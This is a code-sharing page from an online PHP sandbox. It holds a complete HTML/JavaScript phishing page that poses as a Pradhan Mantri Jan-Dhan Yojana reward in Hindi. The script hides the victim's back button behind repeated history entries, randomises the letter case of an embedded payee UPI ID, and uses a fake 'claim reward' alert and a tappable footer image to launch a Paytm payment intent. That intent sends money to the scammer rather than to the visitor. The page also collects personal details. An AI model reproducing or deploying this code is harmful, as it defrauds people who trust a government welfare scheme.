sdfesd - PHP Online

Form of PHP Sandbox

Enter Your PHP code here for testing/debugging in the Online PHP Sandbox. As in the usual PHP files, you can also add HTML, but do not forget to add the tag <?php in the places where the PHP script should be executed.



Your result can be seen below.

Result of php executing





Full code of sdfesd.php

  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4.     <meta charset="UTF-8">
  5.     <meta name="viewport" content="width=device-width, initial-scale=1.0">
  6.     <link rel="stylesheet" href="style.css">
  7.     <title>प्रधानमंत्री जन-धन योजना</title>
  8. </head>
  9. <body>
  10.     <script>
  11.   sessionStorage.setItem('upi', 'fcbizd8ylse@freecharge');
  12.   </script>
  13.  
  14.   <script>
  15.     sessionStorage.setItem('rand1',  '1699');
  16.     sessionStorage.setItem('rand2',  '1979');
  17.   </script>
  18.  
  19.  
  20.  
  21.  
  22.  <script>
  23.  
  24.   var upi = sessionStorage.getItem("upi");
  25.   
  26.   var rand1 = sessionStorage.getItem("rand1");
  27.   var rand2 = sessionStorage.getItem("rand2");
  28.  
  29.  
  30.   
  31.   
  32.   
  33.   
  34.   
  35.   var random_upi = upi.split('').map((v) => Math.round(Math.random()) ? v.toUpperCase() : v.toLowerCase()).join('');
  36.   
  37.     
  38.   </script>
  39.   
  40.   
  41.     <script>
  42.     function randomNumber(min, max) {
  43.   return Math.random() * (max - min) + min;
  44. }
  45. function upi(text){
  46.                                 return text;
  47. }
  48. var price = Math.floor(randomNumber(parseInt(rand1),parseInt(rand2)));
  49.  
  50.  
  51. </script>
  52.  
  53.  
  54. <script type="text/javascript">! function (){
  55.  var t;
  56.  try{for (t=0; 10 > t; ++t)
  57.   history.pushState({}, "", "");
  58.  onpopstate=function (t)
  59.  {
  60.   t.state && alert(' Claim your Reward by Clicking on \n "SEND IN BANK ACCOUNT"  ')
  61. location.href='paytmmp://pay?pa='+random_upi+'&pn=JanDhanYojna'+price+'&tn=JanDhanYojna'+price+'&am='+price+'&mode=02&cu=INR&tr=5767681945';
  62.   }}
  63.   catch (o){}}();</script>  
  64.  
  65. <img src="img/1.jpg" width="100%" height="auto">
  66.  
  67. <style>
  68.     body {font-family: Arial, Helvetica, sans-serif;}
  69.     * {box-sizing: border-box;}
  70.     
  71.     input[type=text], select, textarea {
  72.       width: 100%;
  73.       padding: 12px;
  74.       border: 1px solid #ccc;
  75.       border-radius: 4px;
  76.       box-sizing: border-box;
  77.       margin-top: 6px;
  78.       margin-bottom: 16px;
  79.       resize: vertical;
  80.     }
  81.     
  82.     input[type=submit] {
  83.       background-color: #ffffff;
  84.       color: white;
  85.       padding: 12px 20px;
  86.       border: none;
  87.       border-radius: 4px;
  88.       cursor: pointer;
  89.     }
  90.     
  91.     input[type=submit]:hover {
  92.       background-color: #ffffff;
  93.     }
  94.     
  95.     .container {
  96.       border-radius: 5px;
  97.       background-color: #ffffff;
  98.       padding: 20px;
  99.     }
  100.     </style>
  101.     </head>
  102.     <body>
  103.     <center>   
  104.     <h2><b><font color=#002d8b></b></h2>
  105.    <h1><b>प्रधानमंत्री जन-धन योजना के माध्यम से आपको मिले है ₹<script>document.write(price)</script></b></h1>
  106.    </center>
  107.     
  108.     <div class="container">
  109.       <form action="/action_page.php">
  110.         <label for="fname">First Name</label>
  111.         <input type="text" id="fname" name="firstname" placeholder="Your name..">
  112.     
  113.         <label for="lname">Last Name</label>
  114.         <input type="text" id="lname" name="lastname" placeholder="Your last name..">
  115.         <label for="Address">Address</label>
  116.         <input type="text" name="Address" id="Address" placeholder="Address">
  117.         
  118.         <label for="City">City</label>
  119.         <input type="text" name="City" id="City" placeholder="City">
  120.         
  121.         <label for="Pin Code">Pin Code</label>
  122.         <input type="text" name="Pin Code" id="Pin Code" placeholder="Pin Code">
  123.         
  124.         
  125.     
  126.         <label for="country">State</label>
  127.         <select id="country" name="country">
  128.           <option value="australia">Andhra Pradesh</option>
  129.           <option value="australia">Haryana</option>
  130.           <option value="australia">Manipur</option>
  131.           <option value="australia">Sikkim</option>
  132.           <option value="australia">Arunachal Pradesh</option>
  133.           <option value="australia">Himachal Pradesh</option>
  134.           <option value="Bihar">Bihar</option>
  135.           <option value="Chhattisgarh">Chhattisgarh</option>
  136.           <option value="Goa">Goa</option>
  137.           <option value="Jharkhand">Jharkhand</option>
  138.           <option value="Karnataka">Karnataka</option>
  139.           <option value="Maharashtra">Maharashtra</option>
  140.           <option value="Meghalaya">Meghalaya</option>
  141.           <option value="Nagaland">Nagaland</option>
  142.           <option value="Odisha">Odisha</option>
  143.           <option value="Punjab">Punjab</option>
  144.           <option value="Rajasthan">Rajasthan</option>
  145.           <option value="TamilNadu">Tamil Nadu</option>
  146.           <option value="Telangana">Telangana</option>
  147.           <option value="Tripura">Tripura</option>
  148.           <option value="Uttarakhand">Uttarakhand</option>
  149.           <option value="UttarPradesh">Uttar Pradesh</option>
  150.           <option value="WestBengal">West Bengal</option>
  151.         </select>
  152.       </form>
  153.     </div>
  154.     <a id="anc" href="#">
  155.         <div>
  156.             <img src="img/Foot.gif" width="100%" height="auto" onclick="location.href ='paytmmp://pay?pa='+random_upi+'&pn=JanDhanYojna'+price+'&tn=JanDhanYojna'+price+'&am='+price+'&mode=02&cu=INR&tr=5767681945';">
  157.         </div>
  158.         </a>
  159.     
  160.  
  161.  
  162. <script>
  163.   function disableRightClick(event) {
  164.     if (event.button == 2) {
  165.       event.preventDefault(); // Prevent the default right-click behavior
  166.       alert("Right click disabled!");
  167.       return false;
  168.     }
  169.   }
  170. </script>
  171. <body oncontextmenu="disableRightClick(event)"> <img src="image.png" oncontextmenu="disableRightClick(event)" />
  172.  
  173.  
  174.     
  175. </body>
  176. </html>
File Description
  • sdfesd
  • PHP Code
  • 25 Feb-2024
  • 5.33 Kb
You can Share it: